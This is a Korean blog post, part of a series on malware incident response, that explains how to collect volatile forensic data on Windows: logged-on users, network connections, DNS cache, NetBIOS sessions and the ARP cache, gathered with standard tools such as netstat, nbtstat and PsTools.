시스템이 살아있었던 시간을 확인한다. DiamondCS console 툴킷 중 uptime과 PsTools 패키지에 있는 psuptime으로 확인한다.




System Environment
시스템의 기본 정보를 확인한다. 운영체제 버전이나 패치레벨, 하드웨어 정보와 같은 기초 정보들을 수집한다.

psinfo는 SysInternals 툴킷에 포함되어 있다.



systeminfo는 윈도우에서 기본적으로 제공하는 명령으로 운영체제 정보와 하드웨어 정보 및 Hotfix에 대한 정보까지 수집할 수 있다.

dumpwin은 psinfo나 systeminfo보다 더 많은 정보들을 제공한다. 서비스라던지, 사용자/그룹 계정, 계정 정책, ACL, 실행중인 프로세스 등 더 많은 정보를 수집하는 것이 가능하다.
http://www.niiconsulting.com/innovation/tools.html




2.3 Identifying Users Logged into the System

시스템에 로그인한 사용자를 가려내는 이유는 감염 가능성이 있는 시스템으로 로그인 하려는 잠재적인 침입자를 찾아내고 추가적인 감염 가능성이 존재하는 시스템을 확인하기 위해서이다. 그리고 내부에서 발생하는 악성코드 감염 사고에 대한 통찰력(insight)을 제공하기도 한다.


분석자는 다음과 같은 정보를 획득해야 한다.
  - 사용자 이름
  - 연결 지점(로컬인지 원격인지)
  - 로그인 세션 기간
  - 사용자가 접근하고 있는 공유, 파일 또는 다른 시스템 자원
  - Processed Associated with the user(사용자와 연관된 처리??)
  - 사용자에 의해 발생하는 네트워크 행동


psloggedon
pslooggedon은 PsTools에 포함된 프로그램이다.




quser(query user utility)
quser는 마이크로소프트에서 제공하는 프로그램으로 로그인 사용자, 로그온 시간과 날짜 그리고 세션의 타입과 상태 등의 정보를 표시해 준다. quser는 c:\windows\system32\dllcache에 위치하고 있다.




netusers
http://www.systemtools.com/free.htm에 가면 구할 수 있다. 그 외에 여러가지 프리웨어들이 많으니 한번씩 사용해 보시길..



netusers 명령은 /history 스위치를 사용하면 각 사용자들이 가장 마지막에 로그인한 날짜와 시간을 보여준다. 리눅스의 lastlog와 비슷한 역할을 하는 명령이다.


logonsessions
logonsessions는 PsTools와 SysInternals Suite에 포함된 명령이다. 이 명령은 -p 옵션을 사용하면 해당 로그온 세션이 실행 중인 프로세스 목록을 같이 보여준다.



 

2.4 Inspect Network Connections and Activity

네트워크 연결 검사, 최근 DNS 질의, NetBIOS 이름 테이블, ARP 캐시, 내부 라우팅 테이블, 열려진 포트와 연관된 프로세스 등의 정보를 확인한다.


2.5 Current and Recent Network Connections

분석자가 현재와 최근 네트워크 연결을 확인해야 하는 중요한 이유가 두가지 있다.

첫번째는 공격자가 분석 대상 시스템에 연결되었는지 확인하고 시스템을 역으로 감시하기 위해서이다. 만약 공격자가 공격 대상 시스템의 취약점을 제거하려고 하는 것을 눈치챈다면 로그와 같은 증거들을 제거함으로써 그들의 흔적을 지우거나 시스템에 더 큰 손상을 입힐 것이다. 즉, 공격자가 어디에서 연결되었는지 확인만 하되 정확한 데이터 수집이 이루어지기 전까지는 섣불리 행동해서는 안된다는 것이다.

두번째 이유는 분석 대상 시스템의 악성코드가 봇넷 C&C에 연결하기 위해 공격자에게 어떤 신호를 보내는지 확인하기 위해서이다. 만약 이런 정보를 알 수 있다면 분석자는 훨씬 더 수월하게 분석을 할 수 있을 것이고 추후 발생할 수 있는 유사한 공격에 대응하는데 도움이 될 것이기 때문이다.
실제로 봇이나 웜, 트로이목마 같은 악성코드들은 내장된 명령이 존재한다. 이런 명령들은 도메인 네임이나 URL, IP 주소와 같은 정보를 통해 공격자에게 연결을 하게 되고 공격자로부터 명령을 기다리게 된다.


분석자는 다음과 같은 정보들을 수집해야 한다.

  - 활성화된 네트워크 연결
  - 분석 대상 시스템에서 발생한 DNS 질의
  - ARP 캐시
  - NetBIOS 이름 테이블 캐시
  - 내부 라우팅 테이블 점검


Netstat

netstat는 너무 잘 알려진 명령이라 별다른 설명은 하지 않겠다. 여기서는 옵션에 대해서만 이야기하도록 하자.
보통 -an이라는 옵션을 많이 사용하는데 -ano라는 옵션을 쓸 것을 권장한다. -ano 옵션은 현재 네트워크 연결 상태와 해당 연결을 실행하고 있는 프로세스의 PID를 보여준다. PID를 보여준다는 것은 분석자가 좀 더 쉽게 공격자와 연결된 프로세스를 찾을 수 있게 해준다. 물론 PID를 확인한 후에는 process explorer와 같은 프로그램을 통해서 해당 프로세스를 확인해야 할 것이다.



위 화면에서는 현재 로컬 시스템(192.168.245.10)이 192.168.245.1의 9999포트로 연결한 것을 볼 수 있는데 이 연결을 실행하고 있는 프로세스의 PID는 1032번이라는 것이다. 즉, PID 1032번을 확인해서 어떤 프로그램이 실행되고 있는지 확인하면 된다.


DNS Queries from the Host System
많은 악성코드들은 하드 코딩된(바이너리 파일에 이미 정의된) 도메인 네임을 가지고 있다. 이것은 감염 후 공격자에게 연결하기 위함인데 IP를 사용하면 바뀔 가능성이 있기 때문에 도메인을 주로 사용한다. 분석 대상 시스템에서 최근에 질의한 DNS 쿼리는 ipconfig /displaydns 명령을 통해서 확인 할 수 있다.




NetBIOS Connections
W32/Deborm, worm.gen과 같은 웜들은 윈도우 파일 공유를 통해서 전하된다. 그들은 다른 시스템의 접근 가능한 파일 공유에 자기 스스로를 복제하고 네트워크 연결을 성립시키고 대상 시스템에 파일을 전송한다. 이런 경우 어떤 컴퓨터가 최근에 접속했었는지 어떤 파일을 전송했었는지에 대한 휘발성 데이터가 존재할 것이다.

윈도우 네트워킹은 NetBIOS 프로토콜을 사용한다. NetBIOS는 파일이나 프린터 공유와 같은 다양한 서비스를 제공한다. NetBIOS로 설정된 컴퓨터들은 각각 고유한 이름을 가지고 다른 컴퓨터들과 통신하게 된다.

NetBIOS 이름과 IP주소를 가지고 있는 NetBIOS 이름 캐시가 있는데 이것은 메모리상에 있으며 휘발성 데이터이기 수집하는데 시간적 제한이 있다. 윈도우 command-line에서 nbtstat라는 명령을 통해서 NetBIOS 이름 캐시 정보를 수집할 수 있다.

nbtstat -c 는 NetBIOS 이름 캐시를 보여준다.



nbtstat -S 나 net session 명령은 현재 연결된 NetBIOS 세션을 보여준다.



또는 시작 --> 모든프로그램 --> 관리도구 --> 컴퓨터 관리 --> 공유폴더 --> 세션에서 확인할 수도 있다. 단, 컴퓨터 관리에서 확인하면 자신의 컴퓨터에 연결된 정보만 확인할 수 있다. 즉, 위 명령을 통한 결과는 자신에게 연결한 시스템의 정보를 확인할 수 있다.



NetBIOS를 통해 전송된 파일은 net file이라는 명령을 통해서 확인할 수 있다.




ARP Cache
ARP는 IP 주소를 MAC 주소로 변경해주는 프로토콜이다. 이런 매핑 주소를 가지고 있는 것을 ARP 캐시 또는 ARP 테이블이라고 부른다. ARP 캐시는 현재 분석 대상 시스템과 연결되어 있거나 또는 최근에 연결되었었던 시스템들을 확인할 수 있게 해준다.



두개의 연결을 확인할 수 있는데 이것만으로는 이런 연결들이 악의적인 목적을 가진 연결인지 확인할 수는 없다.
따라서 앞서 살펴보았던 NetBIOS 정보들을 같이 점검하고 검토하면서 악의적인 연결들을 찾아내야 할 것이다.



지금까지 윈도우 휘발성 데이터 수집하는 일부 방법에 대해서 살펴보았습니다.
내용이 좀 많은 느낌이 들어 각 Chapter들을 여러개로 분할하여 글을 작성할 생각입니다.
1장은 총 4개로 나눠질 예정입니다.

다음 글에서는 프로세스와 관련된 데이터와 서비스와 드라이버, 스케줄 작업, 클리보드 데이터 수집에 대해서 살펴보도록 하겠습니다.




Posted by demantos